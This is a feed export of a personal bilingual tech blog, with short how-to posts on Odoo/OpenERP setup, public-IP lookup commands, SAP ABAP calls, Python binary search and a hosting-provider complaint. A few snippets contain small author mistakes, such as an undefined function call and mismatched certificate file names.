tag:blogger.com,1999:blog-13177400838990978062024-03-06T04:11:30.883+01:00optimizar sin másEndika Iglesias's BlogEndikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.comBlogger239125tag:blogger.com,1999:blog-1317740083899097806.post-68495830514314526612016-05-20T01:30:00.000+02:002016-05-20T01:30:09.256+02:00Only things... how to get a backup from Odoo using wget<div dir="ltr" style="text-align: left;" trbidi="on">
Hi everyone, my recent publication:<br />
Go to my Gist page<br />
<a href="https://gist.github.com/Endika/209e9d31a86e2820acfb84e62b748648">https://gist.github.com/Endika/209e9d31a86e2820acfb84e62b748648</a><br />
<br />
Is very easy, with this line you can download ZIP file backup for you Odoo server.<br />
<br />
Nice, and see you</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0tag:blogger.com,1999:blog-1317740083899097806.post-80221579268422021082015-07-05T14:00:00.000+02:002015-07-05T14:00:02.045+02:00How to know my public IP in terminal<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
Hi everybody, today i share a simple list for get your public IP in linux command line.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
First command, check your IP using dyndns service is very long command.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
<code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"</code></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
This is short command and very easy to remember.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
<code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">curl ifconfig.me</code></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
Ipify is the same than ifconfig but response is in <code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">JSON</code> format, prefer for webservices or other apps.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
<code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">curl 'https://api.ipify.org?format=json'</code></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
Mi favorite is this command, is very elegant only send a request to obtain IP using DNS server.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
<code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">dig +short myip.opendns.com @resolver1.opendns.com</code></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
Other command is the same that others.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
<code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">curl ip.appspot.com</code></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
For to use this commands you need to install <code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">curl</code> and <code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">dig</code>packages.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
For use <code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">curl</code> install <code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">sudo aptitude install curl</code></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;">
For use <code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">dig </code><span style="line-height: 1.5em;">install</span><span style="line-height: 1.5em;"> </span><code style="box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;">sudo aptitude install dnsutils</code></div>
<div>
<br /></div>
<div>
Mi notebook: <a href="http://endika.github.io/command/terminal/linux/ip/how-to-know-my-public-ip-in-terminal.html">http://endika.github.io/command/terminal/linux/ip/how-to-know-my-public-ip-in-terminal.html</a></div>
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0tag:blogger.com,1999:blog-1317740083899097806.post-79525074912140490132015-07-03T20:55:00.000+02:002015-07-03T21:16:32.544+02:00Differents cases for you don't use position="replace" in Odoo xml<div dir="ltr" style="text-align: left;" trbidi="on">
Hi everybody, today i explain how to use position attribute in Odoo XML.<br />
<br />
Realy is very easy, only you never forget this rule:<br />
<br />
<b><span style="font-size: large;">Never use this attribute position="replace" NEVER NEVER.
</span></b><br />
<pre class="brush:xml"><field name="street" position="replace">
<!-- .... Never use!!!! -->
</field></pre>
Exist other for example <b>position="attribute"</b>, <b>position="after"</b>, <b>position="before"</b><br />
<pre class="brush:xml"><!-- You need add new attributes to field -->
<field name="street" position="attribute">
<attribute name="class">big_field</attribute>
<attribute name="value">Default Value</attribute>
<attribute name="style">boder:solid 0.1em #f00;</attribute>
</field>
<!-- You need add other field after that -->
<field name="street" position="after">
<field name="street2"/>
</field>
<!-- You need add other field before that -->
<field name="street" position="before">
<field name="first_name"/>
</field>
</pre>
<div style="text-align: justify;">
Is very importan in your addons not use replace attribute because is posible in your view or inherit view other addons touch the same part and cause error and generates incompatibilities.</div>
<br />
Other example with xpath expresion<br />
<pre class="brush:xml"><!-- add in all links with class
is menu_links text color red. -->
<xpath expr="//a[@class='menu_links']" position="attributes">
<attribute name="style">color:#f00;</attribute>
</xpath>
<!-- add in only in first link with class
is menu_links text color red. -->
<xpath expr="//a[@class='menu_links'][0]" position="attributes">
<attribute name="style">color:#f00;</attribute>
</xpath>
<!-- add in only in second link with class
is menu_links text color red. -->
<xpath expr="//a[@class='menu_links'][1]" position="attributes">
<attribute name="style">boder:solid 0.1em #f00;</attribute>
</xpath>
</pre>
The last example is very dangerous because is possible the second link not exist and cause error.<br />
<br /></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0tag:blogger.com,1999:blog-1317740083899097806.post-68522619717556476892015-06-22T14:00:00.000+02:002015-06-23T16:22:47.772+02:00My return random.randint(0, 1)<div dir="ltr" style="text-align: left;" trbidi="on">
Hi everybody, i didn't posted like before days.<br />
But the summer arrive and i will try posts new content. Now a days i publised a lot of commits and PR's (pull request) in my github account (<a href="https://github.com/Endika">https://github.com/Endika</a>) i will try posted all interesting things in my blog.<br />
<br />
This is only a notify posts but the next posts i promise i published interesting things.<br />
<br />
Thanks for followme <a href="https://twitter.com/endika_iglesias">@endika_iglesias</a></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, Madrid, España40.4167754 -3.703790199999957640.0300434 -4.3492371999999575 40.8035074 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-11345867663831446262015-02-01T13:00:00.000+01:002015-02-01T13:00:05.498+01:00How to check if my website this ON?<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
With Selenium language, is very easy. Only need installed selenium python library.</div>
<div style="text-align: justify;">
Simple example using Selenium library
</div>
<pre class="brush:python">browser = webdriver.Firefox()
browser.get('http://google.es')
assert 'Google' in browser.title
</pre>
<div style="text-align: justify;">
In this example only checked if google.es has the "Google" title.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Now, if don't has the correct title the webs site, takes a screenshot.
</div>
<pre class="brush:python">browser = webdriver.Firefox()
browser.get('http://google.es')
if 'Google' not in browser.title:
base64 = browser.get_screenshot_as_base64()
</pre>
<div style="text-align: justify;">
Finally, you can program tasks to check your websites and send email on error. If you want see the full example code go to this url <a href="https://github.com/Endika/test_script/blob/master/checkWebsite.py">Github/Endika/test_script/checkWebsite.py</a></div>
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Palo Alto, California, EE. UU.37.4418834 -122.1430194999999837.2399894 -122.46574299999997 37.643777400000005 -121.82029599999998tag:blogger.com,1999:blog-1317740083899097806.post-14570033144042952142014-05-21T15:30:00.000+02:002014-05-21T15:30:03.194+02:00[SOLVED] Servers Digital Ocean with timezone problems<div dir="ltr" style="text-align: left;" trbidi="on">
use this command<br />
<pre class="brush:cpp">
cp /usr/share/zoneinfo/Europe/Madrid /etc/localtime
</pre>
</div>Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-30901394500695044122014-05-19T10:00:00.000+02:002014-05-19T10:00:00.162+02:00How to create certificates in a single line <div dir="ltr" style="text-align: left;" trbidi="on">
complete as follows<br />
/C= Country Name (2 letter code)<br />
/ST= State or Province Name (full name)<br />
/L= Locality Name<br />
/O= Organization Name<br />
/OU= Organizational Unit Name<br />
/CN=website.com<br />
<pre class="brush:cpp">openssl req -new -newkey rsa:4096 -days 2 -nodes -x509 -subj "/C=SP/ST=Madrid/L=Madrid/O=Empresa/OU=Internet Services/CN=website.com" -keyout server.key -out server.cert
</pre>
<a href="https://github.com/Endika/test_script/blob/master/auto_generate_certificate.sh" rel="nofollow" target="_blank">view example in github</a></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576tag:blogger.com,1999:blog-1317740083899097806.post-72036998515091095482014-02-17T10:10:00.000+01:002014-02-17T10:10:00.192+01:00Solution jQueryMobile viewport tag<div dir="ltr" style="text-align: left;" trbidi="on">
If we use the jQueryMobile library, it may not work the viewport tag<br />
<i>Si usamos la librería jQueryMobile es muy posible que tengamos problemas para que nos funcione la etiqueta <b>viewport</b></i><br />
<pre class="brush:js"><html>
<head>
...
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
...
</head>
<body>
...
</body><span style="font-family: Times New Roman;"><span style="white-space: normal;">
</span></span></pre>
It has very easy solution. First step to remove the label.<br />
<i>Bueno por suerte tiene muy fácil solución. Primer paso eliminar la etiqueta.</i><br />
Second step, add an instruction using javascript with jquery.<br />
<i>Segundo paso, añadimos mediante una instrucción javascript con jquery.</i><br />
<pre class="brush:js">jQuery(document).bind('mobileinit', function(){
jQuery.mobile.metaViewportContent = 'width=device-width, minimum-scale=1, maximum-scale=2';
});<span style="font-family: Times New Roman;"><span style="white-space: normal;">
</span></span></pre>
With this statement, we can zoom in on our mobile device.<br />
<i>Con esta instrucción, podremos hacer zoom en nuestro dispositivo movil.</i></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576tag:blogger.com,1999:blog-1317740083899097806.post-55121139706599355932014-02-06T13:15:00.000+01:002014-02-06T13:15:00.026+01:00Translate the organization number of internal number of SAP<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<pre class="brush:cpp"> CALL METHOD cl_crm_org_management=>get_instance
IMPORTING
ev_instance = lv_orgman.
CALL METHOD lv_orgman->get_sales_org_of_vkorg
EXPORTING
iv_vkorg = lv_s_vkorg
IMPORTING
ev_sales_org = lv_sales_org
EXCEPTIONS
crm_key_not_defined = 1.</pre>
<br /></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-87355490537325522322014-02-06T13:00:00.000+01:002014-02-06T13:00:10.005+01:00How to delete the zeros of a variable?<div dir="ltr" style="text-align: left;" trbidi="on">
Use this function, and convert 00001 to 1.<br />
<pre class="brush:cpp"> CALL FUNCTION 'CONVERSION_EXIT_ALPHA_OUTPUT'
EXPORTING
input = lv_partner
IMPORTING
output = lv_partner.</pre>
<br /></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-28680430181649464272014-02-03T15:00:00.000+01:002014-02-03T15:00:11.999+01:00SAP Cheat Cube CRM version<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUxjIJUdA9w6wskFOElWKVu20jJDjNDHU-9fAC4PiobBRhUO8GhV-7Hd0nlkNCRx8PNZXuW40vRPsXYkAimFQ3FsZ64UNzO8E-p2eWASXPcOuCOyxOIknI0UZ9vEBwbCFwMJ8q8hY4872/s1600/SAP_Cheat_Cube_CRM_version.jpg" imageanchor="1" style="clear: right; display: inline !important; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUxjIJUdA9w6wskFOElWKVu20jJDjNDHU-9fAC4PiobBRhUO8GhV-7Hd0nlkNCRx8PNZXuW40vRPsXYkAimFQ3FsZ64UNzO8E-p2eWASXPcOuCOyxOIknI0UZ9vEBwbCFwMJ8q8hY4872/s1600/SAP_Cheat_Cube_CRM_version.jpg" height="226" width="320" /></a>Copying the idea of Cube Cheat. I have prepared one. You may download the image and print it for your personal use.<br /><br /><i>Copiando la idea de los Cheat Cube. He preparado uno. Podéis descargar la imagen sin problema he imprimirla para vuestro uso personal.</i></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUxjIJUdA9w6wskFOElWKVu20jJDjNDHU-9fAC4PiobBRhUO8GhV-7Hd0nlkNCRx8PNZXuW40vRPsXYkAimFQ3FsZ64UNzO8E-p2eWASXPcOuCOyxOIknI0UZ9vEBwbCFwMJ8q8hY4872/s1600/SAP_Cheat_Cube_CRM_version.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><br /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNLOHSk2Eo03uz-i3-lk6O1SX6YNRtxBM8NnJcsyWGupMCO7llSoPdzfex1VunwUFH3UwmCm3udD5-Q-DnTYeLxL1O4dtQ06JwH-h1X5l2BEPeJ9TB7fSs6PE2nyspOphphzayyIa3WY6C/s1600/2014-01-31+21.20.22.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNLOHSk2Eo03uz-i3-lk6O1SX6YNRtxBM8NnJcsyWGupMCO7llSoPdzfex1VunwUFH3UwmCm3udD5-Q-DnTYeLxL1O4dtQ06JwH-h1X5l2BEPeJ9TB7fSs6PE2nyspOphphzayyIa3WY6C/s1600/2014-01-31+21.20.22.jpg" height="200" width="113" /></a></div>
Here is a preview of the final result.<br /><br /><i>Aquí una preview del resultado final.</i></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-3460421838695009092014-01-18T20:00:00.000+01:002014-01-18T20:00:00.273+01:00Get BP number with customer user (Obtén el numero de BP con el usuario del cliente)<div dir="ltr" style="text-align: left;" trbidi="on">
Only use one function. It's very simple.<br />
<br />
<pre class="brush:cpp"> CALL FUNCTION 'YCRM_CC_FUNC_GET_FRONT_OFFICE'
EXPORTING
user = sy-uname
IMPORTING
og_partner = lv_bp.</pre>
<br />
<b>sy-uname</b> is the global variable in ABAP contains the current user.<br />
<b>lv_bp</b> is the local variable containing BP code.
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576tag:blogger.com,1999:blog-1317740083899097806.post-68308003738955631562014-01-18T19:55:00.000+01:002014-01-18T19:55:00.251+01:00Read structures and get the sales manager (leer la estructura y obtener el jefe de ventas)<div dir="ltr" style="text-align: left;" trbidi="on">
For example, i need to get my sales manager of the organizational structure. The function is this<br />
<pre class="brush:cpp"> CALL FUNCTION 'RH_STRUC_GET'
EXPORTING
act_otype = 'BP'
act_objid = partner_no #enter de Partner number
act_wegid = 'BP-CP-O' #we indicate that we want to get
act_tdepth = 0
TABLES
result_tab = lt_result #here the result
EXCEPTIONS
no_plvar_found = 1
no_entry_found = 2
OTHERS = 3.</pre>
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576tag:blogger.com,1999:blog-1317740083899097806.post-64748755146687992662014-01-18T19:40:00.000+01:002014-01-18T19:48:44.740+01:00Install OpenERP7 in Linux with HTTPS (Instalar OpenERP7 en Linux con HTTPS)<div dir="ltr" style="text-align: left;" trbidi="on">
Is the time to upgrade. Ok, i will change many things. Conclude with Ubuntu and only use Debian. Continued...<br />
<i>Es la hora de actualizarse. Ok, voy a cambiar muchas cosas. Termino con Ubuntu y sólo usaremos Debian. Continuamos...</i><br />
<br />
The new version has changed many things, easier installation. (in previous post <a href="http://optimizarsinmas.blogspot.com.es/2012/06/ubuntu-instalador-de-openerp-604-de-un.html">Instalar OpenERP 6 de un golpe</a>):<br />
<i>La nueva versión a cambiado muchas cosas, una instalación más sencilla. (en post anteriores <a href="http://optimizarsinmas.blogspot.com.es/2012/06/ubuntu-instalador-de-openerp-604-de-un.html">Instalar OpenERP 6 de un golpe</a>):</i><br />
<br />
Add in /etc/apt/sources.list<br />
<pre class="brush:cpp;syntaxhighlighter">echo "deb http://nightly.openerp.com/7.0/nightly/deb/ ./" >> /etc/apt/sources.list
sudo apt-get update; sudo apt-get install openerp
</pre>
<br />
And wait...<br />
<pre class="brush:cpp;syntaxhighlighter">sudo service openerp start
</pre>
<br />
We can see the log, while loading<br />
<i>Podemos ver el log, mientras carga
</i><br />
<pre class="brush:cpp;syntaxhighlighter">watch tail /var/log/openerp/openerp-server.log
</pre>
<br />
When loaded, configure the HTTPS<br />
<i>Cuando esté cargado, configuramos el HTTPS</i><br />
First, we block the default port 8069<br />
<i>Primero, bloqueamos el puerto por defecto 8069</i><br />
<pre class="brush:cpp;syntaxhighlighter">sudo iptables -A INPUT -i eth0 -p tcp --destination-port 8069 -j DROP
</pre>
<br />
Second, we create the SSL<br />
<i>Segundo, creamos el SSL</i><br />
<pre class="brush:cpp;syntaxhighlighter">#need these packages
sudo aptitude install apache2
sudo a2enmod ssl proxy_http headers rewrite
#Create de certificate
sudo mkdir /etc/ssl/openerp
cd /etc/ssl/openerp
openssl genrsa -des3 -out openERPserver.pkey 1024
openssl rsa -in openERPserver.pkey -out openERPserver.key
openssl req -new -key openERPserver.key -out openERPserver.csr
openssl x509 -req -days 365 -in openERPserver.csr -signkey openERPserver.key -out openERPserver.crt</pre>
<br />
Now we need to configure Apache to use SSL with openERP.<br />
<i>Ahora tenemos que configurar apache para que use SSL con openERP.</i><br />
<pre class="brush:cpp;syntaxhighlighter">#Create the openerp file withthis content
sudo nano /etc/apache2/sites-available/openerp
#openerp file
<virtualhost>
SSLEngine on
SSLCertificateFile /etc/ssl/openerp/oeserver.crt
SSLCertificateKeyFile /etc/ssl/openerp/oeserver.key
ProxyRequests Off
<proxy>
Order deny,allow
Allow from all
</proxy>
ProxyVia On
ProxyPass / http://127.0.0.1:8069/
<location>
ProxyPassReverse /
</location>
RequestHeader set “X-Forwarded-Proto” “https”
SetEnv proxy-nokeepalive 1
</virtualhost></pre>
<br />
And finally we enable our configuration<br />
<i>Ya por último habilitamos nuestra configuración</i><br />
<pre class="brush:cpp;syntaxhighlighter">sudo a2ensite openerp
</pre>
<br />
We have already completed. Now run<br />
<i>Ya hemos finalizado. Ahora ejecutamos</i><br />
<pre class="brush:cpp;syntaxhighlighter">https://ipservidor
</pre>
<br /></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0tag:blogger.com,1999:blog-1317740083899097806.post-51925097965289618272013-10-18T10:15:00.000+02:002013-11-08T11:09:29.631+01:00Punteros en Python (Pointers in Python)<div dir="ltr" style="text-align: left;" trbidi="on">
En realidad en Python todo son punteros he aquí una prueba sencilla:<br />
<i>In Python all are pointers here's a simple example:</i><br />
<pre class="brush:python">a=1
id(a) # posicion 11111
b=2
id(b) # posicion 22222
</pre>
Los dos apuntan a posiciones distintas, pero....
<br />
<i>They point to different positions, but ....</i><br />
<pre class="brush:python">id(a) # posicion 11111
b=a
id(b) # posicion 11111
</pre>
TACHAN!!! B apunta a la misma posición que A. De todas formas si ahora modificamos el valor de B el valor de A no varía. Para lograr simular un puntero de verdad. Tenemos que hacer el siguiente apaño.
<br />
<i>TACHAN! B has the same position as A. But if we change B, A does not change. To simulate this we have to do ...</i><br />
<pre class="brush:python">class ref:
def __init__(self, obj): self.obj = obj
def get(self): return self.obj
def set(self, obj): self.obj = obj
a = ref(1)
b = a
print a.get() # 1
print b.get() # 1
b.set(2)
print a.get() # => 2
print b.get() # => 2
</pre>
happy coding ;)
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-92132725621911710692013-10-14T13:15:00.000+02:002013-10-14T13:15:01.033+02:00Busquedas binarias en Python (Binary search in Python)<div dir="ltr" style="text-align: left;" trbidi="on">
Hoy os presento 3 sencillos casos de búsqueda binaria. Antes de usar este sencillo algoritmo necesitamos una lista ordenada. Mi primer ejemplo con un árbol.<br />
<i>Today i present three cases of simple binary search. Before using this simple algorithm we need an ordered list. My first example with a tree.
</i><br />
<pre class="brush:python">class Node:
def __init__(self, val):
self.l_child = None
self.r_child = None
self.data = val
def binary_insert(root, node):
if root is None:
root = node
else:
if root.data > node.data:
if root.l_child == None:
root.l_child = node
else:
binary_insert(root.l_child, node)
else:
if root.r_child == None:
root.r_child = node
else:
binary_insert(root.r_child, node)
def searchNode(root,search):
if not root:
return
searchNode(root.r_child,search)
if root == search:
print(root.data)
searchNode(root.l_child,search)
def resultUp(r,node):
if not r:
return
print(r.data)
if r == node:
return
resultUp(r.r_child,node)
def resultPointToPoint(ini,fin):
if not ini:
return
if ini == fin:
print(ini.data)
return
print(ini.data)
resultPointToPoint(ini.r_child,fin)
resultPointToPoint(ini.l_child,fin)
</pre>
<br />
Example:
<br />
<pre class="brush:python">r = Node(0)
n1= Node(1)
n2= Node(2)
n3= Node(3)
n4= Node(4)
n5= Node(5)
n6= Node(6)
n7= Node(7)
n8= Node(8)
binary_insert(r,n1)
binary_insert(r,n2)
binary_insert(r,n3)
binary_insert(r,n4)
binary_insert(r,n5)
binary_insert(r,n6)
binary_insert(r,n7)
binary_insert(r,n8)
print("Search n1")
searchNode(r,n1)
print("n2 to n5")
searchPointToPoint(r,n2,n5)
print("n5 route to r")
resultUp(r,n5)</pre>
<br />
Este ejemplo es el método más complejo para implementarlo. Ahora os muestro otro caso de busqueda binaria más simplificada:<br />
<i>This example is the most complex to implement. Now I show another case of more simplified binary search:</i>
<br />
<pre class="brush:python">import random
def binary_search(the_array, the_key, imin, imax):
while imax >= imin:
imid = int(imin + ((imax - imin) / 2))
if the_array[imid] < the_key:
imin = imid + 1
elif the_array[imid] > the_key:
imax = imid - 1
else:
return imid
return None
</pre>
<br />
Example:
<br />
<pre class="brush:python">print (binary_search(range(0,1000),21,0,1000))
</pre>
<br />
Por último el mismo caso que el anterior pero usando la recursividad:
<br />
<i>Finally the same case as above but using recursion:</i>
<br />
<pre class="brush:python">import random
def binary_search_recur(the_array, the_key, imin, imax):
if (imax < imin):
return None
else:
imid = int(imin + ((imax - imin) / 2))
if the_array[imid] > the_key:
return binary_search_recur(the_array, the_key, imin, imid-1)
elif the_array[imid] < the_key:
return binary_search_recur(the_array, the_key, imid+1, imax)
else:
return imid
</pre>
<br />
Example:
<br />
<pre class="brush:python">print (binary_search_recur(range(0,1000),21,0,1000))
</pre>
<br />
Y con estos sencillos ejemplos me despido hasta la siguiente entrada.<br />
<i>And with these simple examples I say goodbye until the next entry.</i></div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-29187106786165836972013-09-20T14:30:00.000+02:002013-09-20T14:30:02.346+02:00bye bye 1and1. Hola DigitalOcean y Namecheap<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png" width="200" /></a></div>
El titulo lo dice todo. <b>¡Oficialmente dejo <a href="http://1and1.es/">1and1</a>!</b> El cambio no será de golpe, dejaré que finalice las suscripciones de mis productos así voy migrando todos los datos poco a poco y de forma ordenada. (la fecha limite 1/11/2013)</div>
<br />
<div style="text-align: justify;">
No voy a entrar en mucho detalle pero ya tengo programado mi planing de migración. Está claro que el cambio es para mejor. Era cómodo tener un servicio que te hacia "todo" pero las limitaciones y prohibiciones de <a href="http://1and1.es/">1and1</a>, en más de una ocasión me han provocado alguna riña con el servicio técnico. Por otro lado el servicio de atención al cliente no ha mejorado con los años. Sencillamente no cumple las expectativas esperadas. <a href="http://1and1.es/">1and1 </a>presume de profesionalidad y que es un servicio de calidad y moderno. No voy a entrar en profesionalidad sólo comentaré "calidad y moderno". Las políticas y restricciones de seguridad son muy puñeteras. Las he estado soportando porque pensaba que con el tiempo mejorarían y ampliarían horizontes.</div>
<br />
<b>"Ofrecen un entorno estable"</b> en varias ocasiones he llegado a estar semanas con todos mis servicios web caídos. Tampoco me dieron ninguna justificación ni información por su parte.<br />
<br />
<div style="text-align: justify;">
<b>"Mejoran y sacan ¡nuevos! productos"</b> para instalar ciertos frameworks he tenido que hacer MAGIA para que funcionen. Es más, yo desde que uso Symphony no he sido capaz de actualizar a la versión 2. Os podéis hacer una idea del problema que supone tener entornos completamente desactualizados. No me vale que me ofrecíais un servicio que no puedo tenerlo actualizado. En mi opinión mantener los servidores actualizados.</div>
<br />
<div style="text-align: justify;">
Lo gracioso que si necesitas algún servicio o que te habiliten/actualicen alguna funcionalidad o paquete del cual no disponen en la tienda, no te mandan a la mierda, te ofrecen sus servidores dedicados,virtuales.... OOOO GRACIAS!!! y por que no actualizáis vosotros! que cuando sale un update de mysql o apache tenemos que esperar 5 años para poder disfrutar de ella.</div>
<br />
Después de este desahogo.<br />
<br />
